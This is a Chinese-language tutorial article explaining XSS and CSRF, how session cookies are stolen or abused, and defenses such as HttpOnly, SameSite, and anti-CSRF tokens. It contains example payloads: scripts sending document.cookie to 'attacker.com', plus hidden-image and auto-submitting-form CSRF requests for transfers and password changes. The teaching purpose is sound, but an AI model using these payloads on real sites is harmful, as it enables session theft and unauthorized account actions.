当前位置： 首页 > news >正文

关于两种网络攻击方式XSS和CSRF

news 2025/7/13 10:23:29

一、XSS攻击的核心流程

  1. 攻击注入
    攻击者在网页中插入恶意脚本（如你提到的<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>），常见于评论区、URL参数等用户输入位置。
  2. 脚本执行
    用户访问含恶意脚本的页面时，浏览器会​​自动执行该脚本​​（无需用户点击，存储型XSS会直接触发；反射型/DOM型需用户点击特定链接）。
  3. 窃取Cookie
    脚本通过document.cookie读取当前网站的Cookie（含会话ID），发送到攻击者服务器。
  4. 身份冒用
    攻击者用窃取的Cookie冒充用户身份，执行敏感操作（如转账、改密码）。

🛡️ **二、HttpOnly的作用

  1. 核心机制
    服务器在响应头中设置Cookie时添加HttpOnly属性（如Set-Cookie: sessionId=abc123; HttpOnly），浏览器会​​禁止JavaScript通过document.cookie读取该Cookie​​。

  2. 防御效果

    • ✅ 即使XSS漏洞存在，恶意脚本也无法窃取标记为HttpOnly的Cookie（如会话ID）。
    • ❌ 但XSS攻击仍可能造成其他危害（如篡改页面内容、发起钓鱼请求），HttpOnly仅解决Cookie窃取问题。

⚠️ 三、需修正的关键细节

  1. XSS触发不一定需要用户点击

    • 存储型XSS：用户访问被污染的页面即自动触发（如恶意评论）。
    • 反射型/DOM型XSS：需用户点击恶意链接（如钓鱼邮件中的URL）。

  2. HttpOnly不能完全阻止XSS攻击

    • 仅防护Cookie窃取，但XSS仍可：
      • 伪造页面内容（如植入虚假登录框钓鱼）。
      • 发起未授权操作（如通过XSS调用转账API）。

  3. Cookie传输安全依赖其他属性

    • Secure属性：强制Cookie仅通过HTTPS传输，防止中间人窃听。
    • SameSite=Lax/Strict：限制跨站请求携带Cookie，防御CSRF攻击。

csrf攻击的理解

浏览器确实严格执行同源策略，但同源策略的限制范围与CSRF攻击的利用方式存在关键差异。以下是详细分析：

🔒 一、同源策略对Cookie的限制

  1. 同源策略的核心规则

    • 定义同源：协议、域名、端口完全一致（如 https://a.com:443 与 https://a.com:443 同源）。

      Cookie访问限制

      • 浏览器禁止 b.com 的JavaScript通过 document.cookie 读取 a.com 的Cookie（受同源策略保护）。
      • 但同源窗口共享Cookie：若用户打开多个 a.com 的标签页，这些页面可共享同一Cookie。

  2. Cookie的自动携带机制

    • 当用户访问 a.com 时，浏览器会自动将 a.com 的Cookie附加到请求头中，无论请求是否由用户主动触发（例如点击链接或加载图片）。

      跨域请求的例外：若

      b.com向a.com
发起跨域请求，需满足：
      • 服务器响应头包含 Access-Control-Allow-Origin: b.com 和 Access-Control-Allow-Credentials: true；
      • 客户端请求设置 credentials: 'include'（Fetch API）或 withCredentials: true（XHR）。

      💡 此时浏览器会携带Cookie，但 b.com 的JS仍无法读取Cookie内容。

⚔️ 二、CSRF如何绕过同源策略伪造请求？

CSRF攻击不依赖读取Cookie，而是利用浏览器自动携带Cookie的机制：

  1. 攻击前提：

    • 用户已登录 a.com 且会话未过期（Cookie有效）。
    • 用户访问恶意网站 b.com（通过钓鱼链接或广告诱导）。

  2. 攻击步骤：

    • 伪造请求：b.com 页面嵌入针对 a.com 的恶意请求代码，例如：

      <!-- 伪造转账请求（GET） -->
<img src="https://a.com/transfer?to=attacker&amount=10000" style="display:none;"><!-- 伪造表单提交（POST） -->
<form action="https://a.com/change-password" method="POST"><input type="hidden" name="new_password" value="hacked">
</form>
<script>document.forms[0].submit();</script>

    • 浏览器自动携带Cookie：
      当浏览器加载 b.com 页面时，会​​自动执行​​上述代码，并向 a.com 发送请求，同时携带用户的登录Cookie（因为目标域名是 a.com）。

    • 服务器误判身份：
      a.com 服务器收到携带合法Cookie的请求，误认为是用户操作，执行转账或改密码等敏感动作。

  3. 为何同源策略未阻止？

    • 同源策略限制的是JS读取跨域Cookie，但不限制跨域请求的发送（如 <img>、<form> 发起的请求）。
    • 浏览器设计上允许跨域请求携带Cookie，这是CSRF漏洞的本质原因。

🛡️ 三、防御CSRF的核心方法

针对浏览器自动携带Cookie的机制，需额外防护：

  1. Anti-CSRF Token

    • 服务端生成随机Token，嵌入表单或HTTP头（如 X-CSRF-Token）；
    • 请求时验证Token合法性（Token存储于Session而非Cookie）。

    ✅ 有效性：攻击者无法伪造Token（Token不随Cookie自动携带）。

  2. SameSite Cookie属性

    • 设置 SameSite=Strict：仅同站请求携带Cookie（完全禁止跨站携带）。
    • 设置 SameSite=Lax：允许安全跨域GET请求（如导航链接），阻止POST等非安全请求。

  3. 补充方案

    • 验证Referer/Origin头：拒绝来源非白名单域名的请求。
    • 敏感操作二次验证：如短信验证码、生物识别。

💎 四、同源策略与CSRF的关系总结

行为同源策略是否限制？CSRF是否可利用？
JS读取 a.com 的Cookie✅ 禁止❌ 无关
向 a.com 发送请求❌ 不限制✅ 可利用
跨域请求自动携带Cookie❌ 不限制（默认允许）✅ 核心利用点

🔐 关键结论：

  • 同源策略保护了Cookie不被JS读取，但未限制请求的发送与Cookie的自动携带。
  • CSRF正是利用了这一机制，通过伪造跨域请求触发浏览器自动携带Cookie，而非直接窃取Cookie。
  • 防御需依赖 Token验证 或 SameSite属性 等额外措施。

浏览器携带Cookie的依据是请求的目标域名，而非当前所在网站的域名。以下是详细解释：

🔍 一、你的理解偏差点：谁在访问？携带谁的Cookie？

  • B网站的角色：
    B网站只是一个“​​跳板​​”，它通过HTML标签（如<img>、<form>）或JavaScript代码​​诱导浏览器向A网站发起请求​​，而不是B网站自身去访问A网站。
  • 浏览器的行为：
    当浏览器解析B网站的代码时，若发现需要请求A网站的URL（如<img src="https://a.com/transfer?to=attacker">），它会​​自动检查本地存储的Cookie中属于a.com的会话Cookie​​，并将其附加到请求头中。
    ​​✅ 本质是浏览器在访问A网站，而非B网站在访问！​​

⚙️ 二、Cookie携带的底层逻辑：浏览器如何决策？

浏览器是否携带Cookie取决于以下规则（以A网站的Cookie为例）：

  1. 域名匹配：
    请求的目标域名（如a.com）必须与Cookie的Domain属性一致（如Domain=.a.com）。

  2. 路径匹配：
    请求的路径（如/transfer）需符合Cookie的Path属性（如Path=/）。

  3. 安全属性：
    若Cookie设置了Secure属性，则仅当请求通过HTTPS发送时才携带。

  4. SameSite属性：

  • 若A网站的Cookie未设置SameSite=Strict，浏览器允许在跨站请求（从B网站发往A网站）中携带Cookie。
  • 若设置为SameSite=Lax，则仅允许安全跨域GET请求（如导航链接）携带。

例如：用户访问B网站（b.com）时，页面中嵌入了对A网站（a.com）的请求。浏览器发现请求目标是a.com，便自动附加a.com的Cookie——完全不需要B网站的参与。

⚔️ 三、CSRF攻击流程还原（以转账为例）

  1. 用户登录A网站：
    浏览器存储a.com的会话Cookie（如session_id=123）。

  2. 用户访问B网站：
    B网站的页面包含恶意代码：

<!-- 隐藏图片伪造GET请求 -->
<img src="https://a.com/transfer?to=attacker&amount=10000" style="display:none;"><!-- 或自动提交表单伪造POST请求 -->
<form action="https://a.com/change-password" method="POST"><input type="hidden" name="new_password" value="hacked">
</form>
<script>document.forms[0].submit();</script>
  1. 浏览器执行恶意代码：

  • 自动向a.com发起请求，并携带a.com的Cookie（session_id=123）。

  • 此时请求头示例：

    GET /transfer?to=attacker&amount=10000 HTTP/1.1
Host: a.com
Cookie: session_id=123  // 浏览器自动添加！
  1. A网站处理请求：
    服务器收到携带合法Cookie的请求，误认为是用户操作，执行转账或改密码。

🛡️ 四、为何同源策略（SOP）无法阻止CSRF？

  • SOP的限制范围：
    同源策略仅禁止JavaScript​​读取​​跨域请求的响应结果，但​​不阻止跨域请求的发送​​（如通过<img>、<form>发起的请求）。
  • CSRF的绕过：
    攻击者无需读取响应，只需​​利用浏览器自动携带Cookie的机制发送请求​​，即可达到攻击目的。

💎 五、核心总结：关键区分点

场景请求发起方携带的Cookie是否允许
用户在A网站点击按钮A网站的JS代码A网站的Cookie✅ 同源请求
用户在B网站触发对A的请求B网站的HTML标签A网站的Cookie⚠️ 默认允许（SameSite未限制时）
B网站JS读取A网站的CookieB网站的JS代码无❌ 同源策略禁止访问

简单比喻：
你（用户）在邮局（A网站）办了业务，获得一个专属印章（Cookie）。后来你去商场（B网站），商场里的人偷偷在你包里塞了一封寄给邮局的信（恶意请求）。当你路过邮局时，邮差（浏览器）看到信封上写着“寄给邮局”，便自动盖上你的印章（携带Cookie）送了过去——邮局无法分辨这封信是否出自你本意。

🔐 六、如何防御？关键措施

  1. Anti-CSRF Token：
    在表单或请求头中添加随机Token（存储于Session而非Cookie），服务器验证Token合法性。
  2. SameSite Cookie：
    设置SameSite=Strict（完全禁止跨站携带）或SameSite=Lax（仅允许安全GET请求）。
  3. 敏感操作二次验证：
    如转账前需输入短信验证码或生物识别。

理解浏览器的Cookie自动携带机制，就能明白为何CSRF能“隔山打牛”。防御的关键在于让服务器能区分“真实用户操作”和“伪造请求” 🔐。

其实也就是xss的攻击原理是通过在本网站执行js代码来去获取cookie，而csrf是通过利用浏览器的同源缺陷（不同源获取不到cookie，但是在访问的时候会自动携带cookie），利用这一点，会携带cookie，从而也能进行不好的攻击

你的理解基本正确，但需要进一步明确两者的核心差异和攻击机制细节。以下是结合技术原理的精准解析：

🔍 一、XSS攻击原理：依赖脚本注入窃取信息

  1. 攻击本质：

    • 攻击者将恶意JS代码注入到目标网站A的页面中（如评论区、搜索框），当其他用户访问该页面时，恶意脚本在用户浏览器执行。
    • 脚本可直接读取同源资源（如当前域的Cookie、DOM数据），并通过document.cookie窃取会话信息。

  2. 攻击流程（以窃取Cookie为例）：

    // 恶意脚本示例：窃取Cookie并发送到攻击者服务器
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
    • 用户访问含恶意脚本的页面 → 脚本自动执行 → Cookie被发送到攻击者服务器。

  3. 关键点：

    • 同源策略被绕过：恶意脚本与目标网站同源，因此能直接访问该域下的Cookie等敏感数据。
    • 无需用户交互：存储型XSS在页面加载时自动触发。

⚔️ 二、CSRF攻击原理：利用浏览器自动携带Cookie机制

  1. 攻击本质：

    • 攻击者诱导用户访问恶意网站B，B中嵌入针对网站A的伪造请求（如隐藏的<img>或自动提交的表单）。
    • 浏览器向A发送请求时自动携带A的Cookie（因目标域名是A），但B无法读取A的Cookie内容。

  2. 攻击流程（以转账为例）：

    <!-- 恶意网站B的代码：伪造向A的转账请求 -->
<img src="https://a.com/transfer?to=attacker&amount=10000" style="display:none">
    • 用户访问B → 浏览器加载伪造请求 → 携带A的Cookie发送给A → A误判为合法操作执行转账。

  3. 关键点：

    同源策略的“漏洞” ：

    • 浏览器允许跨域发送请求（如<img>、<form>发起的请求）。

    • 浏览器默认在跨域请求中携带目标域Cookie（除非A的Cookie设置了SameSite=Strict）。

    • 攻击者不直接获取Cookie：仅利用Cookie的自动携带机制冒用身份。

💎 三、你的理解 vs 技术事实对比

理解要点XSSCSRF
是否在本站执行代码✅ 恶意脚本在网站A页面执行❌ 攻击代码在第三方网站B执行
能否直接读取Cookie✅ 通过JS直接读取同源Cookie❌ 仅触发携带Cookie，无法读取内容
依赖同源策略的哪部分❌ 绕过同源策略（脚本与A同源）✅ 利用同源策略的请求携带规则
是否需要用户登录❌ 无需登录（但登录后危害更大）✅ 必须已登录且会话未过期

🔐 总结：

  • XSS：攻击者注入恶意脚本到目标网站，利用同源身份直接窃取Cookie或篡改页面。
  • CSRF：攻击者在第三方网站伪造请求，利用浏览器自动携带Cookie的机制冒用身份操作，但无法获取Cookie内容。

🛡️ 四、防御机制差异

攻击类型核心防御措施
XSS1. 输入过滤/转义（如<转义为<） 2. 内容安全策略（CSP）限制脚本加载源 3. 设置Cookie为HttpOnly（防JS读取）
CSRF1. 使用CSRF Token验证请求合法性 2. 设置Cookie为SameSite=Lax/Strict 3. 敏感操作二次认证（如短信验证）

💡 你的认知升级：
你准确抓住了​​XSS窃取Cookie​​和​​CSRF冒用身份​​的核心，但需注意：

  • XSS的危害远超Cookie窃取（如键盘记录、页面篡改）；
  • CSRF成功的关键是目标网站未防御自动携带Cookie的漏洞，而非同源策略本身有缺陷。
    两者共同点：都利用了Web信任链的薄弱环节——XSS利用用户对网站的信任，CSRF利用网站对浏览器的信任。
http://www.xdnf.cn/news/1109557.html

相关文章：

  • 二分法寻找无序序列的峰值
  • [Token]Token merging for Vision Generation
  • 学python，PyCharm 和 VSCode哪个更好用？
  • ChatRex RexSeek RexThinker： 结合多模态大语言模型的目标检测模型构建
  • vue3+vit+vue-router路由，侧边栏菜单，面包屑导航设置层级结构
  • 商业机密保卫战：如何让离职员工带不走的客户资源？
  • 六年级数学知识边界总结思考-上册
  • Rust Web 全栈开发（五）：使用 sqlx 连接 MySQL 数据库
  • 【赵渝强老师】国产数据库TiDB的代理路由：TiProxy
  • 服务器怎么跑Python项目？
  • 【代码随想录】刷题笔记——哈希表篇
  • MySQL 中图标字符存储问题探究：使用外挂法，毕业论文——仙盟创梦IDE
  • shiro550反序列化漏洞复现（附带docker源）
  • 【Docker基础】Dockerfile指令速览：基础常用指令详解
  • Leetcode百题斩-二分搜索
  • 使用langgraph 构建RAG 智能问答代理
  • springboot AOP面向切面编程
  • 连接池深度解析：原理、实现与最佳实践
  • Hap包引用的Hsp报签名错误怎么解决
  • 使用ESM3蛋白质语言模型进行快速大规模结构预测
  • 每日一SQL 【销售分析 III】
  • Python问题记录`No module named ‘matplotlib‘` 问题解决方案
  • 基于SEP3203微处理器的嵌入式最小硬件系统设计
  • 基于 Python 的数据分析技术综述
  • 剑指offer56_数组中唯一只出现一次的数字
  • 【MogDB】一种基于ctid分片并发查询以提升大表查询性能的方式
  • 【go】gopath、GO111MODULE=on作用
  • Javaweb- 11 MVC架构模式
  • JDK官方文档下载教程
  • 计算机视觉 之 经典模型汇总